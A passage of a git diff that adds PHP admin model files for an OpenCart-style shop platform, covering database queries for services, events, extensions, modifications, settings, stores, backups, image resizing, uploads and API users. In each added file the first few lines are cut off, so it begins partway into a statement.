+ }
+
+ return $service_download_data;
+ }
+
+ public function getServiceStores($service_id) {
+ $service_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_to_store WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_store_data[] = $result['store_id'];
+ }
+
+ return $service_store_data;
+ }
+
+ public function getServiceSeoUrls($service_id) {
+ $service_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'service_id=" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $service_seo_url_data;
+ }
+
+ public function getServiceLayouts($service_id) {
+ $service_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_to_layout WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $service_layout_data;
+ }
+
+ public function getServiceRelated($service_id) {
+ $service_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_related_data[] = $result['related_id'];
+ }
+
+ return $service_related_data;
+ }
+
+ public function getProductRelated($service_id) {
+ $service_related_product = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_related_product[] = $result['product_id'];
+ }
+
+ return $service_related_product;
+ }
+
+ public function getTotalServices($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT p.service_id) AS total FROM " . DB_PREFIX . "service p LEFT JOIN " . DB_PREFIX . "service_description pd ON (p.service_id = pd.service_id)";
+
+ $sql .= " WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && $data['filter_noindex'] !== null) {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalServicesByDownloadId($download_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "service_to_download WHERE download_id = '" . (int)$download_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalServicesByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "service_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/setting/event.php b/public/admin/model/setting/event.php
new file mode 100644
index 0000000..6e76425
--- /dev/null
+++ b/public/admin/model/setting/event.php
@@ -0,0 +1,88 @@
+db->query("INSERT INTO `" . DB_PREFIX . "event` SET `code` = '" . $this->db->escape($code) . "', `trigger` = '" . $this->db->escape($trigger) . "', `action` = '" . $this->db->escape($action) . "', `sort_order` = '" . (int)$sort_order . "', `status` = '" . (int)$status . "'");
+
+ return $this->db->getLastId();
+ }
+
+ public function deleteEvent($event_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "event` WHERE `event_id` = '" . (int)$event_id . "'");
+ }
+
+ public function deleteEventByCode($code) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "event` WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function enableEvent($event_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "event` SET `status` = '1' WHERE event_id = '" . (int)$event_id . "'");
+ }
+
+ public function disableEvent($event_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "event` SET `status` = '0' WHERE event_id = '" . (int)$event_id . "'");
+ }
+
+ public function uninstall($type, $code) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "extension` WHERE `type` = '" . $this->db->escape($type) . "' AND `code` = '" . $this->db->escape($code) . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "setting` WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function getEvent($event_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "event` WHERE `event_id` = '" . (int)$event_id . "' LIMIT 1");
+
+ return $query->row;
+ }
+
+ public function getEventByCode($code) {
+ $query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "event` WHERE `code` = '" . $this->db->escape($code) . "' LIMIT 1");
+
+ return $query->row;
+ }
+
+ public function getEvents($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "event`";
+
+ $sort_data = array(
+ 'code',
+ 'trigger',
+ 'action',
+ 'sort_order',
+ 'status',
+ 'date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY `" . $data['sort'] . "`";
+ } else {
+ $sql .= " ORDER BY `sort_order`";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalEvents() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "event`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/setting/extension.php b/public/admin/model/setting/extension.php
new file mode 100644
index 0000000..4c42f0e
--- /dev/null
+++ b/public/admin/model/setting/extension.php
@@ -0,0 +1,77 @@
+db->query("SELECT * FROM `" . DB_PREFIX . "extension` WHERE `type` = '" . $this->db->escape($type) . "' ORDER BY `code`");
+
+ foreach ($query->rows as $result) {
+ $extension_data[] = $result['code'];
+ }
+
+ return $extension_data;
+ }
+
+ public function install($type, $code) {
+ $extensions = $this->getInstalled($type);
+
+ if (!in_array($code, $extensions)) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "extension` SET `type` = '" . $this->db->escape($type) . "', `code` = '" . $this->db->escape($code) . "'");
+ }
+ }
+
+ public function uninstall($type, $code) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "extension` WHERE `type` = '" . $this->db->escape($type) . "' AND `code` = '" . $this->db->escape($code) . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "setting` WHERE `code` = '" . $this->db->escape($type . '_' . $code) . "'");
+ }
+
+ public function addExtensionInstall($filename, $extension_download_id = 0) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "extension_install` SET `filename` = '" . $this->db->escape($filename) . "', `extension_download_id` = '" . (int)$extension_download_id . "', `date_added` = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function deleteExtensionInstall($extension_install_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "extension_install` WHERE `extension_install_id` = '" . (int)$extension_install_id . "'");
+ }
+
+ public function getExtensionInstalls($start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "extension_install` ORDER BY date_added ASC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getExtensionInstallByExtensionDownloadId($extension_download_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "extension_install` WHERE `extension_download_id` = '" . (int)$extension_download_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTotalExtensionInstalls() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "extension_install`");
+
+ return $query->row['total'];
+ }
+
+ public function addExtensionPath($extension_install_id, $path) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "extension_path` SET `extension_install_id` = '" . (int)$extension_install_id . "', `path` = '" . $this->db->escape($path) . "', `date_added` = NOW()");
+ }
+
+ public function deleteExtensionPath($extension_path_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "extension_path` WHERE `extension_path_id` = '" . (int)$extension_path_id . "'");
+ }
+
+ public function getExtensionPathsByExtensionInstallId($extension_install_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "extension_path` WHERE `extension_install_id` = '" . (int)$extension_install_id . "' ORDER BY `date_added` ASC");
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/setting/modification.php b/public/admin/model/setting/modification.php
new file mode 100644
index 0000000..863d6f2
--- /dev/null
+++ b/public/admin/model/setting/modification.php
@@ -0,0 +1,114 @@
+db->query("INSERT INTO `" . DB_PREFIX . "modification` SET `extension_install_id` = '" . (int)$data['extension_install_id'] . "', `name` = '" . $this->db->escape($data['name']) . "', `code` = '" . $this->db->escape($data['code']) . "', `author` = '" . $this->db->escape($data['author']) . "', `version` = '" . $this->db->escape($data['version']) . "', `link` = '" . $this->db->escape($data['link']) . "', `xml` = '" . $this->db->escape($data['xml']) . "', `status` = '" . (int)$data['status'] . "', `date_added` = NOW()");
+ return $this->db->getLastId();
+ }
+
+ public function addModificationBackup($modification_id, $data) {
+ $xml = html_entity_decode($data['xml']);
+ $this->db->query("INSERT INTO " . DB_PREFIX . "modification_backup SET modification_id = '" . (int)$modification_id . "', code = '" . $this->db->escape($data['code']) . "', xml = '" . $this->db->escape($xml) . "', date_added = NOW()");
+ }
+
+ public function editModification($modification_id, $data) {
+ $xml = html_entity_decode($data['xml']);
+ $name = html_entity_decode($data['name']);
+ $this->db->query("UPDATE " . DB_PREFIX . "modification SET xml = '" . $this->db->escape($xml) . "', name = '" . $this->db->escape($name) . "', `code` = '" . $this->db->escape($data['code']) . "', `author` = '" . $this->db->escape($data['author']) . "', `version` = '" . $this->db->escape($data['version']) . "', `link` = '" . $this->db->escape($data['link']) . "' WHERE modification_id = '" . (int)$modification_id . "'");
+ }
+
+ public function setModificationRestore($modification_id, $xml) {
+ $this->db->query("UPDATE " . DB_PREFIX . "modification SET xml = '" . $this->db->escape($xml) . "' WHERE modification_id = '" . (int)$modification_id . "'");
+ }
+
+ public function deleteModification($modification_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "modification` WHERE `modification_id` = '" . (int)$modification_id . "'");
+ }
+
+ public function deleteModificationBackups($modification_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "modification_backup WHERE modification_id = '" . (int)$modification_id . "'");
+ }
+
+ public function deleteModificationsByExtensionInstallId($extension_install_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "modification` WHERE `extension_install_id` = '" . (int)$extension_install_id . "'");
+ }
+
+ public function enableModification($modification_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "modification` SET `status` = '1' WHERE `modification_id` = '" . (int)$modification_id . "'");
+ }
+
+ public function disableModification($modification_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "modification` SET `status` = '0' WHERE `modification_id` = '" . (int)$modification_id . "'");
+ }
+
+ public function getModification($modification_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "modification` WHERE `modification_id` = '" . (int)$modification_id . "'");
+
+ return $query->row;
+ }
+
+ public function getModifications($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "modification`";
+
+ $sort_data = array(
+ 'name',
+ 'author',
+ 'version',
+ 'status',
+ 'date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getModificationBackups($modification_id) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "modification_backup WHERE modification_id = '" . (int)$modification_id . "' ORDER BY date_added DESC";
+ $query = $this->db->query($sql);
+ return $query->rows;
+ }
+
+ public function getModificationBackup($modification_id, $backup_id) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "modification_backup WHERE modification_id = '" . (int)$modification_id . "' AND backup_id = '" . (int)$backup_id . "' ORDER BY date_added DESC";
+ $query = $this->db->query($sql);
+ return $query->row;
+ }
+
+ public function getTotalModifications() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "modification`");
+
+ return $query->row['total'];
+ }
+
+ public function getModificationByCode($code) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "modification` WHERE `code` = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/setting/module.php b/public/admin/model/setting/module.php
new file mode 100644
index 0000000..c05b53a
--- /dev/null
+++ b/public/admin/model/setting/module.php
@@ -0,0 +1,42 @@
+db->query("INSERT INTO `" . DB_PREFIX . "module` SET `name` = '" . $this->db->escape($data['name']) . "', `code` = '" . $this->db->escape($code) . "', `setting` = '" . $this->db->escape(json_encode($data)) . "'");
+ }
+
+ public function editModule($module_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "module` SET `name` = '" . $this->db->escape($data['name']) . "', `setting` = '" . $this->db->escape(json_encode($data)) . "' WHERE `module_id` = '" . (int)$module_id . "'");
+ }
+
+ public function deleteModule($module_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "module` WHERE `module_id` = '" . (int)$module_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "layout_module` WHERE `code` LIKE '%." . (int)$module_id . "'");
+ }
+
+ public function getModule($module_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "module` WHERE `module_id` = '" . (int)$module_id . "'");
+
+ if ($query->row) {
+ return json_decode($query->row['setting'], true);
+ } else {
+ return array();
+ }
+ }
+
+ public function getModules() {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "module` ORDER BY `code`");
+
+ return $query->rows;
+ }
+
+ public function getModulesByCode($code) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "module` WHERE `code` = '" . $this->db->escape($code) . "' ORDER BY `name`");
+
+ return $query->rows;
+ }
+
+ public function deleteModulesByCode($code) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "module` WHERE `code` = '" . $this->db->escape($code) . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "layout_module` WHERE `code` LIKE '" . $this->db->escape($code) . "' OR `code` LIKE '" . $this->db->escape($code . '.%') . "'");
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/setting/setting.php b/public/admin/model/setting/setting.php
new file mode 100644
index 0000000..613b621
--- /dev/null
+++ b/public/admin/model/setting/setting.php
@@ -0,0 +1,54 @@
+db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '" . (int)$store_id . "' AND `code` = '" . $this->db->escape($code) . "'");
+
+ foreach ($query->rows as $result) {
+ if (!$result['serialized']) {
+ $setting_data[$result['key']] = $result['value'];
+ } else {
+ $setting_data[$result['key']] = json_decode($result['value'], true);
+ }
+ }
+
+ return $setting_data;
+ }
+
+ public function editSetting($code, $data, $store_id = 0) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "setting` WHERE store_id = '" . (int)$store_id . "' AND `code` = '" . $this->db->escape($code) . "'");
+
+ foreach ($data as $key => $value) {
+ if (substr($key, 0, strlen($code)) == $code) {
+ if (!is_array($value)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "setting SET store_id = '" . (int)$store_id . "', `code` = '" . $this->db->escape($code) . "', `key` = '" . $this->db->escape($key) . "', `value` = '" . $this->db->escape($value) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "setting SET store_id = '" . (int)$store_id . "', `code` = '" . $this->db->escape($code) . "', `key` = '" . $this->db->escape($key) . "', `value` = '" . $this->db->escape(json_encode($value, true)) . "', serialized = '1'");
+ }
+ }
+ }
+ }
+
+ public function deleteSetting($code, $store_id = 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "setting WHERE store_id = '" . (int)$store_id . "' AND `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function getSettingValue($key, $store_id = 0) {
+ $query = $this->db->query("SELECT value FROM " . DB_PREFIX . "setting WHERE store_id = '" . (int)$store_id . "' AND `key` = '" . $this->db->escape($key) . "'");
+
+ if ($query->num_rows) {
+ return $query->row['value'];
+ } else {
+ return null;
+ }
+ }
+
+ public function editSettingValue($code = '', $key = '', $value = '', $store_id = 0) {
+ if (!is_array($value)) {
+ $this->db->query("UPDATE " . DB_PREFIX . "setting SET `value` = '" . $this->db->escape($value) . "', serialized = '0' WHERE `code` = '" . $this->db->escape($code) . "' AND `key` = '" . $this->db->escape($key) . "' AND store_id = '" . (int)$store_id . "'");
+ } else {
+ $this->db->query("UPDATE " . DB_PREFIX . "setting SET `value` = '" . $this->db->escape(json_encode($value)) . "', serialized = '1' WHERE `code` = '" . $this->db->escape($code) . "' AND `key` = '" . $this->db->escape($key) . "' AND store_id = '" . (int)$store_id . "'");
+ }
+ }
+}
diff --git a/public/admin/model/setting/store.php b/public/admin/model/setting/store.php
new file mode 100644
index 0000000..684b80c
--- /dev/null
+++ b/public/admin/model/setting/store.php
@@ -0,0 +1,114 @@
+db->query("INSERT INTO " . DB_PREFIX . "store SET name = '" . $this->db->escape($data['config_name']) . "', `url` = '" . $this->db->escape($data['config_url']) . "', `ssl` = '" . $this->db->escape($data['config_ssl']) . "'");
+
+ $store_id = $this->db->getLastId();
+
+ // Layout Route
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "layout_route WHERE store_id = '0'");
+
+ foreach ($query->rows as $layout_route) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_route SET layout_id = '" . (int)$layout_route['layout_id'] . "', route = '" . $this->db->escape($layout_route['route']) . "', store_id = '" . (int)$store_id . "'");
+ }
+
+ $this->cache->delete('store');
+
+ return $store_id;
+ }
+
+ public function editStore($store_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "store SET name = '" . $this->db->escape($data['config_name']) . "', `url` = '" . $this->db->escape($data['config_url']) . "', `ssl` = '" . $this->db->escape($data['config_ssl']) . "' WHERE store_id = '" . (int)$store_id . "'");
+
+ $this->cache->delete('store');
+ }
+
+ public function deleteStore($store_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "information_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_route WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "manufacturer_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "store WHERE store_id = '" . (int)$store_id . "'");
+
+ $this->cache->delete('store');
+ }
+
+ public function getStore($store_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "store WHERE store_id = '" . (int)$store_id . "'");
+
+ return $query->row;
+ }
+
+ public function getStores($data = array()) {
+ $store_data = $this->cache->get('store');
+
+ if (!$store_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "store ORDER BY url");
+
+ $store_data = $query->rows;
+
+ $this->cache->set('store', $store_data);
+ }
+
+ return $store_data;
+ }
+
+ public function getTotalStores() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "store");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_layout_id' AND `value` = '" . (int)$layout_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByLanguage($language) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_language' AND `value` = '" . $this->db->escape($language) . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByCurrency($currency) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_currency' AND `value` = '" . $this->db->escape($currency) . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByCountryId($country_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_country_id' AND `value` = '" . (int)$country_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByZoneId($zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_zone_id' AND `value` = '" . (int)$zone_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByCustomerGroupId($customer_group_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_customer_group_id' AND `value` = '" . (int)$customer_group_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByInformationId($information_id) {
+ $account_query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_account_id' AND `value` = '" . (int)$information_id . "' AND store_id != '0'");
+
+ $checkout_query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_checkout_id' AND `value` = '" . (int)$information_id . "' AND store_id != '0'");
+
+ return ($account_query->row['total'] + $checkout_query->row['total']);
+ }
+
+ public function getTotalStoresByOrderStatusId($order_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_order_status_id' AND `value` = '" . (int)$order_status_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/tool/backup.php b/public/admin/model/tool/backup.php
new file mode 100644
index 0000000..9fa5f05
--- /dev/null
+++ b/public/admin/model/tool/backup.php
@@ -0,0 +1,67 @@
+db->query("SHOW TABLES FROM `" . DB_DATABASE . "`");
+
+ foreach ($query->rows as $result) {
+ $table = reset($result);
+ if ($table && utf8_substr($table, 0, strlen(DB_PREFIX)) == DB_PREFIX) {
+ $table_data[] = $table;
+ }
+ }
+
+ return $table_data;
+ }
+
+ public function backup($tables) {
+ $output = '';
+
+ foreach ($tables as $table) {
+ if (DB_PREFIX) {
+ if (strpos($table, DB_PREFIX) === false) {
+ $status = false;
+ } else {
+ $status = true;
+ }
+ } else {
+ $status = true;
+ }
+
+ if ($status) {
+ $output .= 'TRUNCATE TABLE `' . $table . '`;' . "\n\n";
+
+ $query = $this->db->query("SELECT * FROM `" . $table . "`");
+
+ foreach ($query->rows as $result) {
+ $fields = '';
+
+ foreach (array_keys($result) as $value) {
+ $fields .= '`' . $value . '`, ';
+ }
+
+ $values = '';
+
+ foreach (array_values($result) as $value) {
+ $value = str_replace(array("\x00", "\x0a", "\x0d", "\x1a"), array('\0', '\n', '\r', '\Z'), $value);
+ $value = str_replace(array("\n", "\r", "\t"), array('\n', '\r', '\t'), $value);
+ $value = str_replace('\\', '\\\\', $value);
+ $value = str_replace('\'', '\\\'', $value);
+ $value = str_replace('\\\n', '\n', $value);
+ $value = str_replace('\\\r', '\r', $value);
+ $value = str_replace('\\\t', '\t', $value);
+
+ $values .= '\'' . $value . '\', ';
+ }
+
+ $output .= 'INSERT INTO `' . $table . '` (' . preg_replace('/, $/', '', $fields) . ') VALUES (' . preg_replace('/, $/', '', $values) . ');' . "\n";
+ }
+
+ $output .= "\n\n";
+ }
+ }
+
+ return $output;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/tool/image.php b/public/admin/model/tool/image.php
new file mode 100644
index 0000000..5a3c536
--- /dev/null
+++ b/public/admin/model/tool/image.php
@@ -0,0 +1,47 @@
+ filemtime(DIR_IMAGE . $image_new))) {
+ list($width_orig, $height_orig, $image_type) = getimagesize(DIR_IMAGE . $image_old);
+
+ if (!in_array($image_type, array(IMAGETYPE_PNG, IMAGETYPE_JPEG, IMAGETYPE_GIF))) {
+ return DIR_IMAGE . $image_old;
+ }
+
+ $path = '';
+
+ $directories = explode('/', dirname($image_new));
+
+ foreach ($directories as $directory) {
+ $path = $path . '/' . $directory;
+
+ if (!is_dir(DIR_IMAGE . $path)) {
+ @mkdir(DIR_IMAGE . $path, 0777);
+ }
+ }
+
+ if ($width_orig != $width || $height_orig != $height) {
+ $image = new Image(DIR_IMAGE . $image_old);
+ $image->resize($width, $height);
+ $image->save(DIR_IMAGE . $image_new);
+ } else {
+ copy(DIR_IMAGE . $image_old, DIR_IMAGE . $image_new);
+ }
+ }
+
+ if ($this->request->server['HTTPS']) {
+ return HTTPS_CATALOG . 'image/' . $image_new;
+ } else {
+ return HTTP_CATALOG . 'image/' . $image_new;
+ }
+ }
+}
diff --git a/public/admin/model/tool/upload.php b/public/admin/model/tool/upload.php
new file mode 100644
index 0000000..3e77a9e
--- /dev/null
+++ b/public/admin/model/tool/upload.php
@@ -0,0 +1,108 @@
+db->query("INSERT INTO `" . DB_PREFIX . "upload` SET `name` = '" . $this->db->escape($name) . "', `filename` = '" . $this->db->escape($filename) . "', `code` = '" . $this->db->escape($code) . "', `date_added` = NOW()");
+
+ return $code;
+ }
+
+ public function deleteUpload($upload_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "upload WHERE upload_id = '" . (int)$upload_id . "'");
+ }
+
+ public function getUpload($upload_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "upload` WHERE upload_id = '" . (int)$upload_id . "'");
+
+ return $query->row;
+ }
+
+ public function getUploadByCode($code) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "upload WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getUploads($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "upload";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_filename'])) {
+ $implode[] = "filename LIKE '" . $this->db->escape($data['filter_filename']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "date_added = '" . $this->db->escape($data['filter_date_added']) . "%'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'name',
+ 'filename',
+ 'date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalUploads() {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "upload";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_filename'])) {
+ $implode[] = "filename LIKE '" . $this->db->escape($data['filter_filename']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "date_added = '" . $this->db->escape($data['filter_date_added']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/user/api.php b/public/admin/model/user/api.php
new file mode 100644
index 0000000..194af10
--- /dev/null
+++ b/public/admin/model/user/api.php
@@ -0,0 +1,123 @@
+db->query("INSERT INTO `" . DB_PREFIX . "api` SET username = '" . $this->db->escape($data['username']) . "', `key` = '" . $this->db->escape($data['key']) . "', status = '" . (int)$data['status'] . "', date_added = NOW(), date_modified = NOW()");
+
+ $api_id = $this->db->getLastId();
+
+ if (isset($data['api_ip'])) {
+ foreach ($data['api_ip'] as $ip) {
+ if ($ip) {
